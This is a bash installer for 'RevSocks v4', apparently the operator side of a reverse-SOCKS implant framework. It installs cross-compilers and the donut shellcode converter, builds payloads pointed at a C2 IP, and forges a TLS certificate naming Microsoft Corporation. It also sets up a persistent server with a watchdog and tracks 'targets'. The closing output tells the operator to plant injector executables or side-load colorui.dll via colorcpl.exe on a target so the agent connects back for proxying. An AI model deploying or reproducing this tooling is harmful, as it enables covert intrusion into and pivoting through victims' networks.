#!/bin/bash
#
# install.sh — RevSocks v4 Interactive Installer
#
# Installs dependencies, configures firewall, generates credentials,
# builds all payloads, and optionally deploys.
#
# Additions over v3:
#   - Python packages: pip3 install cryptography aiohttp uvloop
#   - SystemD service file generation option
#   - Auto-detect and configure UFW or iptables
#   - Watchdog as systemd timer (replaces cron)
#
# Usage: sudo ./install.sh
#

set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[1;36m'
NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
OUTPUT_DIR="${SCRIPT_DIR}/output"
SERVICE_NAME="revsocks"
WATCHDOG_TIMER="${SERVICE_NAME}-watchdog"

# ============================================================
# UI helpers
# ============================================================

header() {
    echo ""
    echo -e "${CYAN}+==============================================+${NC}"
    echo -e "${CYAN}|       REVSOCKS v4 INSTALLER                  |${NC}"
    echo -e "${CYAN}+==============================================+${NC}"
    echo ""
}

ask() {
    local prompt="$1" default="$2" var="$3"
    if [ -n "$default" ]; then
        read -rp "$(echo -e "${YELLOW}${prompt} [${default}]: ${NC}")" input
        eval "$var=\"${input:-$default}\""
    else
        read -rp "$(echo -e "${YELLOW}${prompt}: ${NC}")" input
        eval "$var=\"$input\""
    fi
}

ask_yn() {
    local prompt="$1" default="${2:-y}" var="$3"
    read -rp "$(echo -e "${YELLOW}${prompt} [${default}]: ${NC}")" input
    input="${input:-$default}"
    case "$input" in
        [yY]*) eval "$var=yes" ;;
        *)     eval "$var=no" ;;
    esac
}

ok()   { echo -e "  ${GREEN}[+]${NC} $1"; }
warn() { echo -e "  ${YELLOW}[!]${NC} $1"; }
fail() { echo -e "  ${RED}[-]${NC} $1"; }

# ============================================================
# Pre-flight
# ============================================================

header

if [ "$EUID" -ne 0 ]; then
    fail "Run as root: sudo ./install.sh"
    exit 1
fi

# ============================================================
# STEP 1: Gather configuration
# ============================================================

echo -e "${CYAN}--- Step 1: Configuration ---${NC}"
echo ""

# Server IP
DEFAULT_IP=$(ip -4 addr show scope global 2>/dev/null | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | head -1)
ask "Server IP (agents connect to this)" "$DEFAULT_IP" C2_IP

if [ -z "$C2_IP" ]; then
    fail "Server IP is required"
    exit 1
fi

# SOCKS credentials
if [ -f "${SCRIPT_DIR}/creds.txt" ]; then
    EXISTING_CREDS=$(cat "${SCRIPT_DIR}/creds.txt")
    echo -e "  Found existing creds: ${GREEN}${EXISTING_CREDS}${NC}"
    ask_yn "Keep existing credentials?" "y" KEEP_CREDS
    if [ "$KEEP_CREDS" = "yes" ]; then
        SOCKS_USER=$(echo "$EXISTING_CREDS" | cut -d: -f1)
        SOCKS_PASS=$(echo "$EXISTING_CREDS" | cut -d: -f2-)
    fi
fi

if [ -z "$SOCKS_USER" ]; then
    ask "SOCKS5 username" "user$(openssl rand -hex 3 2>/dev/null || echo $RANDOM)" SOCKS_USER
    ask "SOCKS5 password" "$(openssl rand -hex 12 2>/dev/null || echo $(date +%s)$RANDOM)" SOCKS_PASS
    echo "${SOCKS_USER}:${SOCKS_PASS}" > "${SCRIPT_DIR}/creds.txt"
    ok "Saved to creds.txt"
fi

# Tunnel port
ask "Tunnel port (agents connect here)" "443" TUNNEL_PORT

# Feature toggles
ask_yn "Install system dependencies?" "y" DO_DEPS
ask_yn "Install Python packages (cryptography, aiohttp, uvloop)?" "y" DO_PIP
ask_yn "Configure firewall (auto-detect UFW/iptables)?" "y" DO_FW
ask_yn "Generate systemd service file?" "y" DO_SYSTEMD
ask_yn "Build payloads after install?" "y" DO_BUILD
ask_yn "Start server after build?" "y" DO_DEPLOY
ask_yn "Install watchdog as systemd timer?" "y" DO_WATCHDOG

echo ""
echo -e "${CYAN}--- Summary ---${NC}"
echo -e "  Server IP       : ${GREEN}${C2_IP}${NC}"
echo -e "  Tunnel port     : ${GREEN}${TUNNEL_PORT}${NC}"
echo -e "  SOCKS auth      : ${GREEN}${SOCKS_USER}:${SOCKS_PASS}${NC}"
echo -e "  Install deps    : ${DO_DEPS}"
echo -e "  Python packages : ${DO_PIP}"
echo -e "  Firewall        : ${DO_FW}"
echo -e "  SystemD service : ${DO_SYSTEMD}"
echo -e "  Build           : ${DO_BUILD}"
echo -e "  Deploy          : ${DO_DEPLOY}"
echo -e "  Watchdog timer  : ${DO_WATCHDOG}"
echo ""

ask_yn "Proceed?" "y" CONFIRM
if [ "$CONFIRM" != "yes" ]; then
    echo "Aborted."
    exit 0
fi

# ============================================================
# STEP 2: Install system dependencies
# ============================================================

if [ "$DO_DEPS" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 2: Installing system dependencies ---${NC}"

    if [ -f /etc/os-release ]; then
        . /etc/os-release
        OS=$ID
    else
        OS="unknown"
    fi
    ok "OS: $OS"

    case "$OS" in
        ubuntu|debian|kali)
            export DEBIAN_FRONTEND=noninteractive
            apt-get update -qq 2>/dev/null
            apt-get install -y -qq \
                python3 python3-pip python3-venv \
                gcc-mingw-w64-x86-64 gcc-mingw-w64-i686 \
                openssl tmux curl wget git \
                binutils-mingw-w64-x86-64 \
                2>/dev/null
            ok "APT packages installed"
            ;;
        fedora|centos|rhel|rocky|alma)
            dnf install -y -q \
                python3 python3-pip \
                mingw64-gcc mingw32-gcc \
                openssl tmux curl wget git \
                2>/dev/null
            ok "DNF packages installed"
            ;;
        arch|manjaro)
            pacman -Sy --noconfirm --quiet \
                python python-pip \
                mingw-w64-gcc \
                openssl tmux curl wget git \
                2>/dev/null
            ok "Pacman packages installed"
            ;;
        *)
            warn "Unknown OS — install manually: python3, python3-pip, mingw-w64-gcc, openssl, tmux, git"
            ;;
    esac

    # Install donut
    if ! command -v donut &>/dev/null; then
        echo -e "  ${YELLOW}Installing donut (PE -> shellcode)...${NC}"
        cd /tmp
        rm -rf donut 2>/dev/null
        git clone --quiet https://github.com/TheWover/donut.git 2>/dev/null
        cd donut && make -s 2>/dev/null
        if [ -f "donut" ]; then
            cp donut /usr/local/bin/
            ok "donut installed"
        else
            warn "donut build failed — shellcode injection loaders won't work"
            warn "Install manually: https://github.com/TheWover/donut"
        fi
        cd "${SCRIPT_DIR}"
        rm -rf /tmp/donut
    else
        ok "donut already installed"
    fi
else
    echo ""
    echo -e "${CYAN}--- Step 2: Skipped (deps) ---${NC}"
fi

# ============================================================
# STEP 2b: Install Python packages
# ============================================================

if [ "$DO_PIP" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 2b: Installing Python packages ---${NC}"

    pip3 install --quiet --break-system-packages \
        cryptography aiohttp uvloop 2>/dev/null || \
    pip3 install --quiet \
        cryptography aiohttp uvloop 2>/dev/null || \
        warn "pip3 install failed — try manually: pip3 install cryptography aiohttp uvloop"

    # Verify
    python3 -c "import cryptography; print(f'  cryptography {cryptography.__version__}')" 2>/dev/null && ok "cryptography OK" || warn "cryptography missing"
    python3 -c "import aiohttp; print(f'  aiohttp {aiohttp.__version__}')" 2>/dev/null && ok "aiohttp OK" || warn "aiohttp missing"
    python3 -c "import uvloop; print(f'  uvloop {uvloop.__version__}')" 2>/dev/null && ok "uvloop OK" || warn "uvloop (optional, fallback to asyncio)"

    # Generate requirements.txt
    cat > "${SCRIPT_DIR}/requirements.txt" << 'REQEOF'
cryptography>=41.0.0
aiohttp>=3.9.0
uvloop>=0.19.0
REQEOF
    ok "requirements.txt updated"
else
    echo ""
    echo -e "${CYAN}--- Step 2b: Skipped (pip) ---${NC}"
fi

# ============================================================
# STEP 3: Firewall (auto-detect UFW or iptables)
# ============================================================

if [ "$DO_FW" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 3: Firewall configuration ---${NC}"

    FW_TYPE="none"
    if command -v ufw &>/dev/null; then
        FW_TYPE="ufw"
    elif command -v iptables &>/dev/null; then
        FW_TYPE="iptables"
    fi

    case "$FW_TYPE" in
        ufw)
            ok "Detected: UFW"
            ufw --force enable 2>/dev/null || true
            ufw allow 22/tcp comment "SSH" 2>/dev/null
            ufw allow ${TUNNEL_PORT}/tcp comment "RevSocks tunnel" 2>/dev/null
            ufw allow 51222:52222/tcp comment "SOCKS5 ports" 2>/dev/null
            ufw deny 8443/tcp comment "Block legacy file server" 2>/dev/null
            ok "UFW rules applied:"
            ok "  22/tcp          — SSH"
            ok "  ${TUNNEL_PORT}/tcp        — Agent tunnel"
            ok "  51222:52222/tcp — SOCKS5 proxy ports"
            ok "  8443/tcp        — DENIED"
            ;;
        iptables)
            ok "Detected: iptables (no UFW)"
            # Allow established connections
            iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 2>/dev/null
            # SSH
            iptables -A INPUT -p tcp --dport 22 -j ACCEPT 2>/dev/null
            # Tunnel
            iptables -A INPUT -p tcp --dport ${TUNNEL_PORT} -j ACCEPT 2>/dev/null
            # SOCKS5
            iptables -A INPUT -p tcp --dport 51222:52222 -j ACCEPT 2>/dev/null
            # Block legacy
            iptables -A INPUT -p tcp --dport 8443 -j DROP 2>/dev/null
            # Loopback
            iptables -A INPUT -i lo -j ACCEPT 2>/dev/null
            ok "iptables rules applied:"
            ok "  22/tcp          — SSH"
            ok "  ${TUNNEL_PORT}/tcp        — Agent tunnel"
            ok "  51222:52222/tcp — SOCKS5 proxy ports"
            ok "  8443/tcp        — DROPPED"

            # Persist iptables (if iptables-persistent is available)
            if command -v netfilter-persistent &>/dev/null; then
                netfilter-persistent save 2>/dev/null
                ok "iptables rules persisted"
            else
                warn "Install iptables-persistent to survive reboots"
            fi
            ;;
        none)
            warn "No firewall tool found (ufw or iptables) — skipping"
            ;;
    esac
else
    echo ""
    echo -e "${CYAN}--- Step 3: Skipped (firewall) ---${NC}"
fi

# ============================================================
# STEP 4: Directory setup
# ============================================================

echo ""
echo -e "${CYAN}--- Step 4: Directory setup ---${NC}"

mkdir -p "${OUTPUT_DIR}" "${OUTPUT_DIR}/shellcode_variants"
chmod +x "${SCRIPT_DIR}/rebuild.sh" 2>/dev/null || true
chmod +x "${SCRIPT_DIR}/watchdog.sh" 2>/dev/null || true

# Generate TLS cert if missing
if [ ! -f "${OUTPUT_DIR}/server.crt" ]; then
    openssl req -x509 -newkey rsa:2048 \
        -keyout "${OUTPUT_DIR}/server.key" \
        -out "${OUTPUT_DIR}/server.crt" \
        -days 3650 -nodes \
        -subj "/CN=microsoft.com/O=Microsoft Corporation/L=Redmond/ST=Washington/C=US" \
        2>/dev/null
    ok "TLS certificate generated"
else
    ok "TLS certificate exists"
fi

ok "Directories ready"

# ============================================================
# STEP 5: SystemD service file
# ============================================================

if [ "$DO_SYSTEMD" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 5: SystemD service ---${NC}"

    cat > "/etc/systemd/system/${SERVICE_NAME}.service" << SVCEOF
[Unit]
Description=RevSocks v4 Server
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
WorkingDirectory=${OUTPUT_DIR}
ExecStart=/usr/bin/python3 ${OUTPUT_DIR}/server.py
Restart=always
RestartSec=10
StandardOutput=append:${SCRIPT_DIR}/server.log
StandardError=append:${SCRIPT_DIR}/server.log

# Security hardening
NoNewPrivileges=true
ProtectSystem=strict
ReadWritePaths=${OUTPUT_DIR} ${SCRIPT_DIR}
PrivateTmp=true

[Install]
WantedBy=multi-user.target
SVCEOF

    systemctl daemon-reload
    systemctl enable "${SERVICE_NAME}.service" 2>/dev/null
    ok "Service file created: /etc/systemd/system/${SERVICE_NAME}.service"
    ok "Enabled at boot: systemctl start ${SERVICE_NAME}"
else
    echo ""
    echo -e "${CYAN}--- Step 5: Skipped (systemd) ---${NC}"
fi

# ============================================================
# STEP 6: Build payloads
# ============================================================

if [ "$DO_BUILD" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 6: Building payloads ---${NC}"
    cd "${SCRIPT_DIR}"
    bash rebuild.sh "${C2_IP}"
else
    echo ""
    echo -e "${CYAN}--- Step 6: Skipped (build) ---${NC}"
    echo "  Run later: ./rebuild.sh ${C2_IP}"
fi

# ============================================================
# STEP 7: Deploy
# ============================================================

if [ "$DO_DEPLOY" = "yes" ] && [ "$DO_BUILD" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 7: Starting server ---${NC}"

    if [ "$DO_SYSTEMD" = "yes" ]; then
        # Use systemd
        systemctl stop "${SERVICE_NAME}.service" 2>/dev/null || true
        sleep 1

        # Initialize targets.json
        echo '{"next_id":1,"next_socks_port":51222,"history":[],"targets":{}}' > "${OUTPUT_DIR}/targets.json"

        systemctl start "${SERVICE_NAME}.service"
        sleep 3

        if systemctl is-active --quiet "${SERVICE_NAME}.service"; then
            ok "Server running via systemd (${SERVICE_NAME}.service)"
        else
            fail "Service failed to start — check: journalctl -u ${SERVICE_NAME} -f"
        fi
    else
        # Fallback to tmux
        tmux kill-session -t rs 2>/dev/null || true
        sleep 1

        echo '{"next_id":1,"next_socks_port":51222,"history":[],"targets":{}}' > "${OUTPUT_DIR}/targets.json"

        tmux new-session -d -s rs "cd ${OUTPUT_DIR} && python3 server.py"
        sleep 3

        if ss -tlnp | grep -q ":${TUNNEL_PORT} "; then
            ok "Server running on port ${TUNNEL_PORT} (tmux session: rs)"
        else
            fail "Server failed to start — check: tmux attach -t rs"
        fi
    fi
else
    echo ""
    echo -e "${CYAN}--- Step 7: Skipped (deploy) ---${NC}"
fi

# ============================================================
# STEP 8: Watchdog (systemd timer instead of cron)
# ============================================================

if [ "$DO_WATCHDOG" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 8: Watchdog timer ---${NC}"

    # Create watchdog script (enhanced)
    cat > "${SCRIPT_DIR}/watchdog.sh" << 'WDEOF'
#!/bin/bash
#
# watchdog.sh v4 — Monitor and auto-restart revsocks server
#

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
OUTPUT_DIR="${SCRIPT_DIR}/output"
LOG="${SCRIPT_DIR}/watchdog.log"
DATE=$(date '+%Y-%m-%d %H:%M:%S')

log() { echo "[${DATE}] $1" >> "$LOG"; }

# Keep log under 1MB
if [ -f "$LOG" ] && [ $(stat -c%s "$LOG" 2>/dev/null || echo 0) -gt 1048576 ]; then
    tail -100 "$LOG" > "${LOG}.tmp" && mv "${LOG}.tmp" "$LOG"
fi

check_port() { ss -tlnp | grep -q ":${1} " && return 0 || return 1; }

# Check tunnel server
if ! check_port 443; then
    log "ALERT: Port 443 DOWN - restarting"
    if systemctl is-enabled revsocks.service &>/dev/null; then
        systemctl restart revsocks.service
        sleep 4
        if systemctl is-active --quiet revsocks.service; then
            log "OK: revsocks.service restarted"
        else
            log "CRITICAL: revsocks.service restart failed"
        fi
    else
        pkill -f 'python3 server.py' 2>/dev/null; sleep 2
        tmux kill-session -t rs 2>/dev/null; sleep 1
        tmux new-session -d -s rs "cd ${OUTPUT_DIR} && python3 server.py"
        sleep 4
        if check_port 443; then
            log "OK: Port 443 restored (tmux)"
        else
            log "CRITICAL: Port 443 still down"
        fi
    fi
else
    log "OK: Port 443 listening"
fi

# Disk space check
DISK_USE=$(df / | tail -1 | awk '{print $5}' | tr -d '%')
if [ "$DISK_USE" -gt 90 ]; then
    log "WARNING: Disk usage at ${DISK_USE}%"
fi

# Memory check
MEM_FREE=$(free -m 2>/dev/null | awk '/Mem:/ {print $7}')
if [ -n "$MEM_FREE" ] && [ "$MEM_FREE" -lt 100 ]; then
    log "WARNING: Low memory - ${MEM_FREE}MB free"
fi
WDEOF
    chmod +x "${SCRIPT_DIR}/watchdog.sh"

    # SystemD timer (replaces cron)
    cat > "/etc/systemd/system/${WATCHDOG_TIMER}.service" << WDSVC
[Unit]
Description=RevSocks v4 Watchdog

[Service]
Type=oneshot
ExecStart=${SCRIPT_DIR}/watchdog.sh
StandardOutput=append:${SCRIPT_DIR}/watchdog.log
StandardError=append:${SCRIPT_DIR}/watchdog.log
WDSVC

    cat > "/etc/systemd/system/${WATCHDOG_TIMER}.timer" << WDTMR
[Unit]
Description=RevSocks v4 Watchdog Timer (every 15 min)

[Timer]
OnBootSec=5min
OnUnitActiveSec=15min
AccuracySec=1min

[Install]
WantedBy=timers.target
WDTMR

    systemctl daemon-reload
    systemctl enable "${WATCHDOG_TIMER}.timer" 2>/dev/null
    systemctl start "${WATCHDOG_TIMER}.timer" 2>/dev/null

    ok "Watchdog timer installed (every 15 min)"
    ok "  Status: systemctl status ${WATCHDOG_TIMER}.timer"
    ok "  Logs:   journalctl -u ${WATCHDOG_TIMER}.service"

    # Remove old cron entry if present
    crontab -l 2>/dev/null | grep -v "watchdog.sh" | crontab - 2>/dev/null || true
    ok "Removed any old cron-based watchdog entries"
else
    echo ""
    echo -e "${CYAN}--- Step 8: Skipped (watchdog) ---${NC}"
fi

# ============================================================
# STEP 9: Verification
# ============================================================

echo ""
echo -e "${CYAN}--- Verification ---${NC}"

ERRORS=0
check_cmd() {
    if command -v "$1" &>/dev/null; then
        ok "$1"
    else
        fail "$1 — not found"
        ((ERRORS++)) || true
    fi
}

check_cmd python3
check_cmd x86_64-w64-mingw32-gcc
check_cmd openssl
check_cmd tmux
check_cmd donut

# Check python modules
python3 -c "import cryptography" 2>/dev/null && ok "python3: cryptography" || warn "python3: cryptography missing"
python3 -c "import aiohttp" 2>/dev/null && ok "python3: aiohttp" || warn "python3: aiohttp missing"

# Check listening port
if ss -tlnp | grep -q ":${TUNNEL_PORT} "; then
    ok "Port ${TUNNEL_PORT} listening"
else
    warn "Port ${TUNNEL_PORT} not listening (start server manually if build was skipped)"
fi

# Check systemd
if [ "$DO_SYSTEMD" = "yes" ]; then
    systemctl is-enabled "${SERVICE_NAME}.service" &>/dev/null && \
        ok "systemd: ${SERVICE_NAME}.service enabled" || \
        warn "systemd: ${SERVICE_NAME}.service not enabled"
fi

if [ "$DO_WATCHDOG" = "yes" ]; then
    systemctl is-active "${WATCHDOG_TIMER}.timer" &>/dev/null && \
        ok "systemd: ${WATCHDOG_TIMER}.timer active" || \
        warn "systemd: ${WATCHDOG_TIMER}.timer not active"
fi

# ============================================================
# DONE
# ============================================================

echo ""
echo -e "${GREEN}+==============================================+${NC}"
echo -e "${GREEN}|       INSTALLATION COMPLETE (v4)             |${NC}"
echo -e "${GREEN}+==============================================+${NC}"
echo ""
echo -e "  ${CYAN}Server control:${NC}"
if [ "$DO_SYSTEMD" = "yes" ]; then
    echo -e "    systemctl start ${SERVICE_NAME}"
    echo -e "    systemctl stop ${SERVICE_NAME}"
    echo -e "    journalctl -u ${SERVICE_NAME} -f"
else
    echo -e "    tmux attach -t rs"
fi
echo ""
echo -e "  ${CYAN}Rebuild:${NC}       ./rebuild.sh ${C2_IP}"
echo -e "  ${CYAN}Credentials:${NC}   ${SOCKS_USER}:${SOCKS_PASS}"
echo ""
echo -e "  ${CYAN}Deliver to target:${NC}"
echo -e "    Copy ${GREEN}inject_explorer.exe${NC} (user) or ${GREEN}inject_system.exe${NC} (admin) to target"
echo -e "    Or: copy ${GREEN}colorui.dll${NC} + colorcpl.exe to target and run colorcpl.exe"
echo -e "    Agent connects back -> appears in CLI -> SOCKS5 proxy ready"
echo ""
echo -e "  ${CYAN}Use proxy:${NC}"
echo -e "    curl --socks5 ${SOCKS_USER}:${SOCKS_PASS}@127.0.0.1:51222 http://TARGET"
echo ""